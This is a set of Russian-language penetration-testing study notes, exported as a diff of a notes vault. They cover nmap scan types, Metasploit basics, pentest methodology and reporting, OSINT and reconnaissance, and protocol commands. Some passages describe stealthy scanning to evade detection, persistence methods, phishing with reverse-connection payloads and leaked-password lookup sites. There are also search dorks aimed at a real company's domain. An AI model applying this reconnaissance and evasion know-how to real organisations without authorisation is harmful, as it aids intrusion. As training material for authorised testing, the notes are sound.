## Обработка текста
|
||||
|
||||
Вывести символы со 2 по 5 каждой строки
|
||||
|
||||
```
|
||||
$ cat file | cut -c 2-5
|
||||
```
|
||||
|
||||
Отсортировать строки по алфавиту
|
||||
|
||||
```
|
||||
$ cat file | sort
|
||||
```
|
||||
|
||||
Удалить одинаковые строки, идущие подряд
|
||||
|
||||
```
|
||||
$ cat file | uniq
|
||||
```
|
||||
|
||||
Вывести уникальные строки
|
||||
|
||||
```
|
||||
$ cat file | sort | uniq
|
||||
```
|
||||
|
||||
```
|
||||
$ cat file | awk 'program'
|
||||
```
|
||||
|
||||
`'{print $0}'` - вывести каждую строку `'{print $1}'` - вывести первое слово каждой строки `'{print "1: " $1 ", 2: " $2}'` - вывести для каждой строки 1:<слово 1>, 2:<слово 2>
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/OS/Bash commands|Bash commands]]
|
||||
[[cybersec/OS/Powershell commands|Powershell commands]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,8 @@
|
||||
**Get-Command** - получение списка всех доступных команд и алиасов
|
||||
Как пример можно использовать `Get-Command -CommandType "Function"` что бы получить вывод всех команд, тип которых - функция.
|
||||
**Get-Help** - аналогично команде `man` в Linux позволяет получить информацию о команде: атрибуты, способ использования и примеры.
|
||||
`Get-Help [command] -examples` позволяет получить примеры использования команды.
|
||||
**Find-Module** и **Install-Module** - используются для того, что бы найти и установить дополнительный модуль (как в unix системах - установка доп. софта)
|
||||
`Find-Module -Name "PowerShell*"`
|
||||
`Install-Module -Name "PowerShellGet"`
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
Когда мы используем **metasploit framework** то мы работаем с консолью. Для запуска этой консоли необходимо прописать `msfconsole`
|
||||
Перед тем как погружаться, нам необходимо понимать эти базовые вещи:
|
||||
1. **Exploit** - часть кода которая испольует уязвимость
|
||||
2. **Vulnerability** - уязвимость
|
||||
3. **Payload** - "Полезная" нагрузка эксплоита
|
||||
|
||||
## msfconsole
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
Когда мы сканируем с помощью nmap, есть 3 базовых типа сканирования:
|
||||
1. **TCP connect scans** `-sT`
|
||||
2. **SYN Полуоткрытое сканирование** `-sS`
|
||||
3. **UDP scans** `-sU`
|
||||
|
||||
Дополнительно есть несколько не так часто используемых, некоторые из них мы также рассмотрим (хотя и менее подробно). Это:
|
||||
1. **TCP null scans** `-sN`
|
||||
2. **TCP FIN scans** `-sF
|
||||
3. **TCP Xmas Scans** `-sX`
|
||||
|
||||
Многие из них (за исключением UDP) мы используем в очень похожих целях, однако, способ их работы отличаются друг от друга. Это означет то, что один из базовой тройки вероятнее всего будет вашим выбором в большинстве ситуаций, но не стоит забывать о существовании других возможных типов сканирования.
|
||||
|
||||
## TCP connect scans `-sT`
|
||||
Что бы понимать как работает этот вид сканирования, нужно понимать концепцию ***Трехстороннего TCP рукопожатия***. Давайте вспомним что это обозначает. ***RFC 9293***
|
||||
|
||||
***Трехстороннее TCP рукопожатие*** состоит из трёх (ну не четырех же =) ) стадий.
|
||||
1. Клиент (в нашем случае атакующий) отсылает TCP запрос к целевой системе с флагом `SYN`.
|
||||
2. Сервер признает этот TCP запрос, включающий в себя `SYN` флаг, отсылается ответ с флагами `SYN` и `ASK`.
|
||||
3. Клиент получает ответ и отправляет подтверждение с флагом `ASK`
|
||||
![[Pasted image 20250416202446.png]]![[Pasted image 20250416202511.png]]
|
||||
Каким образом это связано с работой nmap? Очень просто. Чтобы понять, работает ли порт или нет, nmap пытается установить **TCP** соединение и отправить `SYN` флаг. Если nmap проучает `SYN\ASK` ответ, это значит что порт открыт. Nmap помечает его открытым и завершает рукопожатие отправкой `ASK` флага.
|
||||
|
||||
Если же nmap получает ответ с флагом `RST` (Reset), то это означает что порт закрыт.
|
||||
|
||||
![[Pasted image 20250416203106.png]]
|
||||
Если же открыт фаервол, обычно он просто роняет подключение. Тоесть, **nmap** отправляет `ASK` флаг, но в ответ ничего не получает. В данном случае порт помечается как **filtered**.
|
||||
|
||||
## SYN scans `-sS`
|
||||
|
||||
Так же как и TCP сканирование, SYN использует подключение к TCP портам, но работает немного иначе. Этот вид сканирования часто называют скрытым.
|
||||
|
||||
Если TCP сканирование полностью следует ***Трехстороннему рукопожатию***, то **SYN** сканирование после ответа от сервера с флагами `SYN\ASK` отпрвляет флаг `RST` обрывая соединение.
|
||||
![[Pasted image 20250417102631.png]]![[Pasted image 20250417102751.png]]
|
||||
Данный вид сканирование имеет множество приемуществ для нас как для хакеров:
|
||||
1. Он может использоваться для обхода старых систем обнаружения, которым необходимо ***полное трехстороннее рукопожатие***.
|
||||
2. **SYN** сканирование не логируется приложениями, открытыми на портах (это является стандартной практикой логгировать соединение когда оно будет установленно)
|
||||
3. **SYN** сканирование банально быстрее.
|
||||
|
||||
Конечно есть некоторое количество минусов:
|
||||
1. Необходимо запускать с правами админа (sudo) что бы оно работало нормально на линуксе, так как SYN сканирование создает сырые пакеты, что является привелегией админа.
|
||||
2. Нестабильные сервисы иногда падают в процессе сканирования, это может быть проблемой если тестируется прод.
|
||||
|
||||
Не считая способа поиска открытых портов, в основном работа **TCP** сканирования и **SYN** сканирования идентичны.
|
||||
|
||||
## UDP сканирование
|
||||
|
||||
В отличие от TCP, у UDP нет никакого подтверждения о получении пакета. Буквально отсылается пакет, с надеждой на то, что он был получен. Это делает его широкоиспользуемым там, где нужна скорость (например - видеотрансляции). Но отсутствие подтверждения получения пакета сильно услажняет возможность сканирования.
|
||||
|
||||
Когда пакет отсылается на открытый UDP порт, ответа не должно последовать. Если это так и есть, то **nmap** помечает порт как открытый или отфильтрованный.
|
||||
|
||||
Если же пакет был отправлен на закрытый UDP порт, то назад возвращается **ICMP (ping)** пакет, содержащий сообщение что порт не доступен. В этом случае nmap помечает порт как закрытый.
|
||||
|
||||
UDP сканирование достаточно медленное, поэтому рекомендуется ипользовать `--top-ports <number>` флаг при сканировании.
|
||||
```bash
|
||||
nmap -sU --top-ports 20 <target>
|
||||
```
|
||||
Данная команда будет сканировать топ 20 самых используемых UDP портов.
|
||||
|
||||
## NULL FIN Xmas TCP port scan
|
||||
|
||||
Данные типы сканирования используются гораздо реже чем те, которые мы рассмотрели ранее, и поэтому не будем сильно останавливаться на них.
|
||||
|
||||
***NULL Scans***
|
||||
**NULL** сканирование, флаг `-sN`, отправляет TCP запрос без заданных флагов. Если порт закрыт, то вернется `RST`.
|
||||
![[Pasted image 20250417111734.png]]
|
||||
|
||||
***FIN Scans***
|
||||
**FIN** сканирование, флаг `-sF` отправляет TCP запрос с флагом завершения `FIN`. Если порт закрыт, то вернется `RST`.
|
||||
![[Pasted image 20250417112443.png]]
|
||||
|
||||
***XMAS***
|
||||
**Xmass** сканирование, флаг `-sX`, отсылает TCP пакет с флагами `PSH, URG, FIN` Если порт закрыт, то вернется `RST`.
|
||||
![[Pasted image 20250417122554.png]]
|
||||
|
||||
Эти типы сканирования использются для обхода фаерволов, так как многие блокируют входящий TCP трафик, котрый содержит `SYN` флаг. Но не нужно думать что они 100% эффективны в современных системах защиты.
|
||||
|
||||
## ICMP Network scaning
|
||||
|
||||
Во время первого соединения с целью, наша первая цель - составление карты сети.
|
||||
|
||||
Единственная возможность сделать это используя nmap - подготовить "проверку пингом". Nmap отправляет **ICMP** пакет на каждый доступный IP address. Когда получен ответ - ip маркируется как живой.
|
||||
|
||||
Флаг для вызова `-sn`
|
||||
|
||||
## NSE (Nmap Scripting Engine)
|
||||
|
||||
Мощное рассширение, сильно расширяющее возможности nmap. NSE написаны на ***LUA***, и могут быть использованны для множества вещей, начиная с таких как сканирование на уязвимости, заканчивая эксплуатацией этих уязвимостей.
|
||||
|
||||
Доступно множество категорий, вот некоторые из них:
|
||||
1. `safe` - не имеют эффекта на цели
|
||||
2. `intrusive` - не безопасны, влияют на цель
|
||||
3. `vuln` - поиск уязвимостей
|
||||
4. `exploit` - эксплуатация уязвимостей
|
||||
5. `auth` - Обход аутентификации (например: получение доступа к анонимному ftp серверу)
|
||||
6. `brute` - Подбор паролей и логинов
|
||||
7. `discovery` - попытка запроса запущенных сервисов
|
||||
|
||||
Более подробно можно узнать тут: https://nmap.org/book/nse-usage.html
|
||||
|
||||
Команда что бы запустить скрипт:
|
||||
```bash
|
||||
--script=<script-name>
|
||||
```
|
||||
Что бы передать какой-то аргумент:
|
||||
```bash
|
||||
--script-args
|
||||
```
|
||||
Что бы прочитать помощь:
|
||||
```bash
|
||||
nmap --srcipt-help <script-name>
|
||||
```
|
||||
@@ -0,0 +1,7 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/Pentest/Metasploit|Metasploit]]
|
||||
[[cybersec/Pentest/NMAP|NMAP]]
|
||||
[[cybersec/Pentest/Основы пентеста|Основы пентеста]]
|
||||
[[cybersec/Pentest/Разведка|Разведка]]
|
||||
[[cybersec/Pentest/Читщит pentest standoff|Читщит pentest standoff]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,151 @@
|
||||
**Целевая система** - исследуемый объект или комплекс объектов информационной системы, в результате воздействия злоумышленника на который может непосредственно произойти недопустимое для компании событие.
|
||||
|
||||
**Pentest (Тестирование на проникновение)** - анализ защищенности целевой системы в результате которой реализуются уязвимости или недопустимые события путем моделирования атак злоумышленников.
|
||||
|
||||
**Уязвимость** - недостаток целевой системы, который может быть использован для реализации недопустимого события (угроз безопасности).
|
||||
|
||||
**Недопустимое событие** - событие, приводящее к значительному нарушению деятельности компании.
|
||||
|
||||
### Классификации пентеста
|
||||
|
||||
**По отношению к инфраструктуре компании:**
|
||||
1. Внешний - эксперт по тестированию на проникновение ведет свою деятельность вне контролируемой зоны компании.
|
||||
2. Внутренний - эксперт по тестированию на проникновение ведет свою деятельности внутри контролируемой зоны компании.
|
||||
**По методу работ:**
|
||||
- **Black Box** - информация об инфраструктуре и целевой системе отсутствует, тестировщик добывает информацию применяя OSINT.
|
||||
- **Gray Box** - у эксперта частично присутствует информация о целевой системе (учетки, пароли, ящики, адреса админок)
|
||||
- **White Box** - у эксперта есть вся информация о целевой системе (документация, учетки админов и пользователей с паролями, исходный код при наличии, перечень ПО и т.д.)
|
||||
**По типу целевой системы:**
|
||||
- Тестирование веб приложений
|
||||
- Тестирование инфраструктуры
|
||||
- Тестирование приложений
|
||||
- Тестирование беспроводных сетей.
|
||||
|
||||
## Методики и стандарты
|
||||
_Международные_
|
||||
|
||||
1. _OWASP Top Ten_ - это стандартный документ, посвященный безопасной разработке веб-приложений. Он представляет собой широкий консенсус относительно наиболее важных рисков безопасности веб-приложений.
|
||||
2. _OWASP Web Security Testing Guide (WSTG)_ - исчерпывающая методика по тестированию кибербезопасности для разработчиков веб-приложений и специалистов по безопасности.
|
||||
3. _OWASP Mobile Application Security_ - представляет собой стандарт безопасности для мобильных приложений (OWASP MASVS) и подробное руководство по тестированию.
|
||||
4. _OWASP Application Security Verification Standard_ - описывает основу для тестирования средств контроля технической безопасности веб-приложений, а также предоставляет разработчикам список требований для безопасной разработки.
|
||||
5. _ISO/IEC 27001_ - стандарт Международной организации по стандартизации (ISO) и Международной электротехнической комиссии (IEC) для систем управления информационной безопасностью. Описывает требования по проведению тестирования на проникновение как часть процесса управления рисками.
|
||||
6. _NIST SP 800-115_ - стандарт Национального института стандартов и технологий США (National Institute of Standards and Technology), описывающий методику тестирования на проникновение.
|
||||
7. _OSSTMM_ - методика, разработанная Open Information Security Foundation (OISF), описывает широкий набор методов и подходов для тестирования на проникновение.
|
||||
8. _WASC_ - в данной методике собраны недостатки и классы атак, которые представляют угрозу для веб-приложений и пользователей.
|
||||
9. _PTES_ - открытое руководство, охватывающее все этапы выполнения тестирования на проникновение, начиная от сбора информации и заканчивая подготовкой отчета.
|
||||
10. _PCI DSS (Payment Card Industry Data Security Standard)_ **-** включает в себя требования по проведению пентестов для систем, обрабатывающих платежные данные.
|
||||
11. _CREST (Council of Registered Ethical Security Testers)_ **-** организация CREST разрабатывает и поддерживает стандарты для профессиональных пентестеров. Их рекомендации охватывают различные аспекты тестирования, включая мобильные устройства и физическую безопасность.
|
||||
|
||||
_Отечественные_
|
||||
|
||||
1. _Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации "Типовое техническое задание на выполнение работ по оценке уровня защищенности информационной инфраструктуры"_ - данный документ описывает объем и состав работ, а также требуемые отчетные документы в рамках работ по тестированию на проникновение в компании.
|
||||
|
||||
## Инфраструктура
|
||||
|
||||
**Инфраструктура** - совокупность множества ПО, оборудования, сетей и сервисов, образующих информационную систему компании.
|
||||
![[Pasted image 20250317210934.png]]
|
||||
Рисунок 1 -Схема тестирования компании на проникновение.
|
||||
|
||||
## Разведка
|
||||
|
||||
Разведка представляет из себя анализ внешнего периметра системы компании (внешние сервисы и веб-приложения), либо анализ внутерннего периметра компании.
|
||||
На этапе разветки собирается вся доступная информация о компании в Интернете\Даркнете (учетки, пароли, корп. почта, перечень активов и другие источники).
|
||||
Собирается следующая информация:
|
||||
1. Перечень активов и данные об их назначении через сканирование доступной сети
|
||||
2. Перечень открытых портов и сервисов (с указанием версий) работающих на данных портах.
|
||||
3. Перечень используемых технологий и ПО
|
||||
4. Определение ОС, их версий и возможной сборки.
|
||||
5. Учетки
|
||||
6. Файлы конфигурации и ошибки в них.
|
||||
## Первоначальный доступ
|
||||
|
||||
**Первоначальный доступ** - на данном этапе атакующий получает доступ с возможностью выполнения команд на скомпроментированном активе или возможность управления им с целью доставки необходимых инструментариев и реализации дальнейших этапов тестирования на проникновение.
|
||||
На данном этапе реализуется:
|
||||
1. **Рассылка фишинговых писем**
|
||||
2. Проверка возможности получения доступа с применением выявленных учетных данных к различным сервисам, например `FTP` или `SMB, SSH, RDP`
|
||||
3. Попытка эксплуатации ранее выявленных уязвимостей в сервисах и компонентах целевой системы на этапе разведки.
|
||||
|
||||
## Закрепление
|
||||
|
||||
**Закрепление** - в рамках данного этапа реализуется комплекс мер для организации отказоустойчивого канала (возможность повторного запуска процесса с бэкконнектом при его прирывании).
|
||||
Для закрепления могут использоваться следующшие подходы:
|
||||
1. `Создание задачи` на запуск исполняемого файла
|
||||
2. `Добавление в автозапуск` исполняемого файла
|
||||
3. `Создание службы` запуска исполняемого файла
|
||||
4. `Изменение скриптов`
|
||||
5. `Создание учётки`
|
||||
|
||||
## Повышение привелегий
|
||||
|
||||
**Повышение привелегий** - реализация мер для получения привелегилированных прав в ОС.
|
||||
Можно реализовать через:
|
||||
1. `Работающие скрипты`, которые запускаются из-под рута.
|
||||
2. `Работающие службы`, которые запускаются из-под рута.
|
||||
3. `Задачи`, зпускаемые в ОС.
|
||||
4. `Привелегии` текущей учетки
|
||||
5. `Обход локальных ограничений` в двоичных файлах
|
||||
|
||||
## Внутреняя разведка
|
||||
|
||||
**Внутренняя разведка** - этап, целью которого является изучение информации хранящейся на активе (учетки, иформация об активах, тех. документация и иная) или в сети для дальнейшего использования в цепочке атак.
|
||||
**Разведка актива**:
|
||||
1. `Учётки записи и пароли`
|
||||
2. `Техническая документация`
|
||||
3. Информация об используемом `ПО`
|
||||
4. Запущенные `процессы` и активные `сессии`
|
||||
5. `ARP`-записи
|
||||
6. `Информация о хосте`
|
||||
**Разведка сети**:
|
||||
- Результаты сканирования сетевых сканеров
|
||||
- Сбор информации в AD
|
||||
|
||||
## ОФОРМЛЕНИЕ ОТЧЕТА
|
||||
|
||||
**Отчет содержит в себе следующие разделы:**
|
||||
1. Информацию о системе и используемых технологиях
|
||||
2. Краткую информацию о выявленных уязвимостях и недопустимых событиях
|
||||
3. Выявленные следы компрометации (найденные утечки, информация о готовящихся атаках, наличие подозрительных объектов или логов в рамках тестирования)
|
||||
4. перечень первоочередных и долгосрочных мер для устранения уязвимостей и контролю их отсутствия
|
||||
# **Технический отчет**
|
||||
|
||||
Этот отчет необходим в первую очередь подразделениям информационной безопасности и ИТ-службам. В данном документе более детально описывается реализация уязвимостей и недопустимых событий, а также рекомендации по их устранению.
|
||||
|
||||
_Содержание отчета:_
|
||||
|
||||
1. период проведения работ;
|
||||
2. информация о целевой системе;
|
||||
3. применяемые методики и инструментарии;
|
||||
4. этапы проведения тестирования (берутся из разработанной методики из пункта 3);
|
||||
5. информация о найденных уязвимостях и недопустимых событиях;
|
||||
6. расчет защищенности целевой системы;
|
||||
7. приложения с подробным описанием выявленных уязвимостей и недопустимых событий с рекомендациями по устранению.
|
||||
|
||||
На каждую выявленную уязвимость в приложении необходимо оформлять карточку выявленного недостатка, _пример карточки указан ниже:_
|
||||
|
||||
**Название:** <Название выявленной уязвимости>
|
||||
|
||||
**Критичность:** Информационная/Низкая/Средняя/Высокая
|
||||
|
||||
**CVSS:** x.x - где х.х числовой показатель, например, 6.3
|
||||
|
||||
**CVSS-вектор:** CVSS:3.0/XX:X/XX:X/XX:X/XX:X/X:X/X:X/X:X/X:X, ссылка на калькулятор [https://www.first.org/cvss/calculator/3.0](https://www.first.org/cvss/calculator/3.0)
|
||||
|
||||
**Требуемая квалификация атакующего:** Низкая/Средняя/Высокая
|
||||
|
||||
**Описание:** <Детальное представление уязвимости>
|
||||
|
||||
**Реализация:** <Описать шаги, приводящие к реализации уязвимости>
|
||||
|
||||
**Рекомендации по устранению:** <Перечень действий для устранения возможности реализации данной уязвимости>
|
||||
|
||||
Для оформления карточки реализации недопустимого события _используется следующий формат карточки:_
|
||||
|
||||
**Название:** <Название реализованного недопустимого события>
|
||||
|
||||
**Цепочка связанных уязвимостей:** <уязвимость 1>,<уязвимость 2>,...,<уязвимость N>
|
||||
|
||||
**Описание:** <Детальное описание недопустимого события>
|
||||
|
||||
**Реализация: <Описать шаги, приводящие к реализации недопустимого события>
|
||||
|
||||
**Рекомендации по устранению:** <Перечень действий для устранения возможности реализации недопустимого события>
|
||||
@@ -0,0 +1,59 @@
|
||||
## Цель
|
||||
На данном этапе мы только начинаем взаимодействовать с целевой системой и нам важно собрать как можно больше информации о ней.
|
||||
Выделяют несколько видов разведки:
|
||||
1. **Пассивная разведка** - нет взаимодействия с целевой системой
|
||||
2. **Активная разведка** - идет прямое взаимодействие с системой (сканирование `IP` адресов, фазинг директорий веб приложений, сканирование сети и т.п.).
|
||||
Так же взависимости от условия проведения работ начальное взаимодействие с целевой системой может быть:
|
||||
- **С внешнего контура компании** (веб приложение, внешние почтовые сервисы и другие доступные из сети интернет)
|
||||
- **С внутреннего периметра компании** (подключаемые через коммутационное оборудование, сервера, АРМ-пользователей и т.п.)
|
||||
|
||||
## Разведка по открытым источникам (OSINT)
|
||||
|
||||
**Open Source Intelligence (Разведка по открытым источникам** - направление деятельности, включающее в себя поиск, выбор и сбор разведовательной информации из общедоступных источников, а так же её анализ.
|
||||
|
||||
Вся эта информация может быть использована нами для проведения тестирования на проникновение, например
|
||||
1. **Перечень сотрудников** - для формирования логинов и почтовых адресов.
|
||||
2. **Почтовые адреса** - для фишинговых атак.
|
||||
3. **Слитые базы логинов и паролей** - спреинг и брутфорс сервисов.
|
||||
4. **Информация об активах, структуре сети и используемых программных решениях и средствах защиты информации** - построение вектора атак и подготовка инструментария для скрытого перемещения в целевой системе.
|
||||
|
||||
Что бы найти корп. email [https://www.skymem.info](https://www.skymem.info/)
|
||||
Проверка на наличие слитых паролей можно проводить с помощью различных ботов или https://breachdirectory.org - сайт.
|
||||
## Разведка целевой системы
|
||||
**Существует 2 подхода**:
|
||||
1. С внешнего контура компании (Веб приложения, внешние почтовые сервисы и все, что доступно из Интернета)
|
||||
2. С внутреннего периметра компании (Подключение через коммутационное оборудование, сервера и т.д.)
|
||||
|
||||
### Внешний контур компании
|
||||
*Получить первоначальный доступ в периметр компании*:
|
||||
1. Уязвимые внешние сервисы на внешнем контуре - веб-приложения, почтовые сервисы, терминальные шлюзы
|
||||
2. Фишинговые рассылки
|
||||
*Какую информацию необходимо собрать?*
|
||||
- Логины
|
||||
- Пароли\хеши
|
||||
- Почтовые ящики
|
||||
- Данные по активам, открытых портах, работающих на них сервисах и актуальных уязвимостях
|
||||
**Какие шаги необходимо сделать в рамках данного этапа?**
|
||||
1. Выявление пулов IP адресов компании
|
||||
2. Выявление активных хостов, открытых портов, служб и их версий. В основном пользуемся **Nmap**
|
||||
3. Поиск уязвимостей в базе данных эксплойтов.
|
||||
- 1. [https://www.exploit-db.com](https://www.exploit-db.com)
|
||||
2. [https://packetstormsecurity.com/files/tags/exploit/](https://packetstormsecurity.com/files/tags/exploit/)
|
||||
3. [https://0day.today](https://0day.today)
|
||||
4. Выявление веб-приложений и эксплуатация уязвимостей согласно методике *OWASP WSTG*
|
||||
1. `Burp Suite`, `OWASP ZAP` - для ручного поисков векторов и эксплуатации.
|
||||
2. `Nuclei`, `nikto`, `Acunetix`, `sqlmap`, `tplmap` - для автоматического поиска векторов и ручной/автоматической эксплуатации.
|
||||
5. Анализ документов, конфигов и других данных, которые могут содержать *критическую и компрометирующую* информацию. Логины, почтовые ящики, пароли, адреса сервисов и т.д.
|
||||
1. `Feroxbuster`, `ffuf`, `gobuster`, `dirsearch` - инструменты для обнаружения скрытых файлов и директорий.
|
||||
2. Дорки (Yandex, Google и т.д.) - конкретизирующие поисковые запросы в известных поисковых системах
|
||||
```bash
|
||||
site:gazprom.ru filetype:pdf mail #Google
|
||||
site:gazprom.ru mime:pdf mail #Yandex
|
||||
```
|
||||
6. Эксплуатация ошибок в бизнес-логике, конфигурации сервисов и веб-приложений.
|
||||
7. Сбор информации и подготовка шаблонов для фишинговой компании. В рамках поиска данной информации необходимо изучить страницу контактов, профили пользователей, доки в веб-приложениях на предмет почтовых ящиков.
|
||||
|
||||
### Внутренний периметр
|
||||
|
||||
Здесь мы так же имеем 2 вектора
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
## Внешний периметр и его разновидности
|
||||
|
||||
Рассмотрим два наиболее частых варианта:
|
||||
1. **Классичесикий** - аналогичный внешнему периметру компаний на полигоне Standoff. Может быть представлен несколькими эксплуатируемыми веб-приложениями, среди которых обязательно будет сайт компании, и VPN сервер.
|
||||
![[Pasted image 20250411213749.png]]
|
||||
2. **С гейтами** - гейт это сервер с одним или несколькими веб приложениями, имеющий сетевую связность с внутренней сетью
|
||||
![[Pasted image 20250411213719.png]]
|
||||
|
||||
## Как ломать внешний периметр?
|
||||
|
||||
1. **Вариант 1** - собрать информацию с веб-сервисов внешнего периметра. Тут можно обнаружить VPN конфигурацию, адреса электронной почты доменных пользователей для подключения к внутренней сети. Дополнительно, можно провести фишинговую атаку - отправить письма под учеткой, предоставленной огранизаторами.
|
||||
2. **Вариант 2** - сбор информации (адресов почты ) с серверов внешнего периметра и последующая фишинговая атака с полезной нагрузкой, которая позволяет установить обратное соединение с пк сотрудника компании.
|
||||
Если встретили ифру с гейтами - самое очевидное, попытаться исполнить RCE (удаленное исполнение кода)
|
||||
|
||||
## Разведка сети и скан портов
|
||||
|
||||
С самого начала проверяем работающие узлы, а затем уже открытые порты и доступные сетевые сервисы. Таким образом, разведка внешнего периметра пройдет быстрее.
|
||||
**Сканирование сети** происходит через:
|
||||
- nmap и всё что сделангол на его основе
|
||||
- masscan
|
||||
|
After Width: | Height: | Size: 45 KiB |
|
After Width: | Height: | Size: 201 KiB |
|
After Width: | Height: | Size: 215 KiB |
|
After Width: | Height: | Size: 435 KiB |
|
After Width: | Height: | Size: 99 KiB |
|
After Width: | Height: | Size: 51 KiB |
|
After Width: | Height: | Size: 33 KiB |
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 332 KiB |
|
After Width: | Height: | Size: 345 KiB |
|
After Width: | Height: | Size: 24 KiB |
|
After Width: | Height: | Size: 21 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 6.2 KiB |
|
After Width: | Height: | Size: 7.3 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 53 KiB |
|
After Width: | Height: | Size: 53 KiB |
|
After Width: | Height: | Size: 54 KiB |
@@ -0,0 +1,22 @@
|
||||
%% Zoottelkeeper: Beginning of the autogenerated index file list %%
|
||||
[[cybersec/Photos/Pasted image 20250105162015.png|Pasted image 20250105162015.png]]
|
||||
[[cybersec/Photos/Pasted image 20250105164935.png|Pasted image 20250105164935.png]]
|
||||
[[cybersec/Photos/Pasted image 20250105165103.png|Pasted image 20250105165103.png]]
|
||||
[[cybersec/Photos/Pasted image 20250105165110.png|Pasted image 20250105165110.png]]
|
||||
[[cybersec/Photos/Pasted image 20250105165916.png|Pasted image 20250105165916.png]]
|
||||
[[cybersec/Photos/Pasted image 20250105183609.png|Pasted image 20250105183609.png]]
|
||||
[[cybersec/Photos/Pasted image 20250105185359.png|Pasted image 20250105185359.png]]
|
||||
[[cybersec/Photos/Pasted image 20250317210934.png|Pasted image 20250317210934.png]]
|
||||
[[cybersec/Photos/Pasted image 20250411213719.png|Pasted image 20250411213719.png]]
|
||||
[[cybersec/Photos/Pasted image 20250411213749.png|Pasted image 20250411213749.png]]
|
||||
[[cybersec/Photos/Pasted image 20250413192203.png|Pasted image 20250413192203.png]]
|
||||
[[cybersec/Photos/Pasted image 20250416202446.png|Pasted image 20250416202446.png]]
|
||||
[[cybersec/Photos/Pasted image 20250416202511.png|Pasted image 20250416202511.png]]
|
||||
[[cybersec/Photos/Pasted image 20250416203106.png|Pasted image 20250416203106.png]]
|
||||
[[cybersec/Photos/Pasted image 20250417102631.png|Pasted image 20250417102631.png]]
|
||||
[[cybersec/Photos/Pasted image 20250417102751.png|Pasted image 20250417102751.png]]
|
||||
[[cybersec/Photos/Pasted image 20250417111734.png|Pasted image 20250417111734.png]]
|
||||
[[cybersec/Photos/Pasted image 20250417112443.png|Pasted image 20250417112443.png]]
|
||||
[[cybersec/Photos/Pasted image 20250417122554.png|Pasted image 20250417122554.png]]
|
||||
[[cybersec/Photos/Protocol cheatsheat|Protocol cheatsheat]]
|
||||
%% Zoottelkeeper: End of the autogenerated index file list %%
|
||||
@@ -0,0 +1,39 @@
|
||||
## FTP / SFTP
|
||||
|
||||
|
||||
**Порт** - tcp 21 (default)
|
||||
**Основные комманды**:
|
||||
- ls - просмотр директории
|
||||
- get - получение файла
|
||||
- mget - получение множества файлов
|
||||
- put - загрузка файла на сервер
|
||||
- mput - множественная загрузка файлов
|
||||
- mkdir - создание директори
|
||||
- cd - переход в директорию
|
||||
- pwd - просмотр актуальной директории
|
||||
- cdup - перемещение в конревую директорию
|
||||
- ! - доступ к терминалу в своем пк не выходя из ftp
|
||||
- rename - переименование
|
||||
- delete - удаление
|
||||
- mdelete - множественное удаление
|
||||
|
||||
## SMB
|
||||
|
||||
SMB - server message block/
|
||||
**Порт** - 445 tcp
|
||||
**Основные команды**:
|
||||
- smbclient -L host - просмотр доступных папок на хосте
|
||||
- smbclient \\\\host\\directory password - подключение к директории
|
||||
Все остальные команы (FTP команды такие же)
|
||||
![[Pasted image 20250413192203.png]]
|
||||
|
||||
## Redis
|
||||
**Port** - 6379 TCP (default)
|
||||
**Commands**:
|
||||
- redis-cli -h hostname - подключение к удаленному хосту
|
||||
- INFO - команда показывает информацию и статистику сервера
|
||||
- SELECT database - выбор бызы данных
|
||||
Сайты с командами редиса
|
||||
https://www.koderhq.com/tutorial/redis/basic-commands/#basic
|
||||
https://www.javaguides.net/2024/11/redis-commands-cheat-sheet.html
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
**Access control (ограничение доступа)** - приложение, накладывающее ограничения на то, кто или что авторизовано для выбранных действий или запрашиваемых рессурсов. В контексте веб-приложений, ограничение доступа зависит от аутентификации и менеджменте сессий.
|
||||
|
||||
1. **Аутентификация** позволяет определить, что пользователь является тем, кем он представляется.
|
||||
2. **Менеджер сессий** - идентифицирует какие последующие HTTP запросы были сделаны одним и тем же пользователем.
|
||||
3. **Ограничение доступа** определяет, может ли юзер выполнить действие, которое он захотел выполнить.
|
||||
|
||||
Сломанное ограничение доступа часто встречается и представляют из себя критические уязвимости. Разработка и управление системой ограничения доступа это комплексная проблема.
|
||||
|
||||
### Вертикальный контроль доступа
|
||||
|
||||
**Вертикальный контроль доступа** - механизмы, которые ограничивают доступ к конфиденциальным функциям определенным типам пользователей.
|
||||
|
||||
Благодаря вертикальному контролю, разные типы пользователей имеют доступ к различным функциям приложения. К примеру, админ может модифицировать или удалять любой пользовательский аккаунт, в отличие от простого пользователя, который не имеет доступа к этим функциям.
|
||||
|
||||
### Горизонтальный контроль доступа
|
||||
|
||||
**Горизонтальный контроль доступа** - механизм, ограничивающий доступ к ресурсам конкретным пользователям.
|
||||
|
||||
При горизонтальном контроле доступа, разные пользователи имеют доступ к подмножеству рессрсов одного типа. К примеру - приложение банка позволяет пользователю видеть транзакции и оплачивать с помощью их собственного аккаунта, но не с помощью аккаунта других пользователей.
|
||||
|
||||
### Контексто-зависимый контроль доступа
|
||||
|
||||
**Контексто-зависимый контроль доступа** - механизм, ограничивающий доступ к функционалу и ресурсам, основывающийся состоянии приложения или взаимодействия пользователя с ним.
|
||||
|
||||
Контексто-зависимый контроль доступа запрещает пользователю выполнять действия в неправильном порядке. К примеру - пользователь не может менять состав заказа после его оплаты.
|
||||
|
||||
## Примеры сломанного контроля доступа
|
||||
|
||||
### Эскалация вертикального контроля доступа
|
||||
|
||||
Если пользователь может повысить доступ к функционалу, к которому у него не должно быть доступа, то это эскалация вертикального контроля доступа. К примеру, если обычный пользователь может получить доступ к странице администратора, где он может удалять аккаунты других пользователей, это и есть эскалация.
|
||||
|
||||
**Незащищенный функционал**
|
||||
|
||||
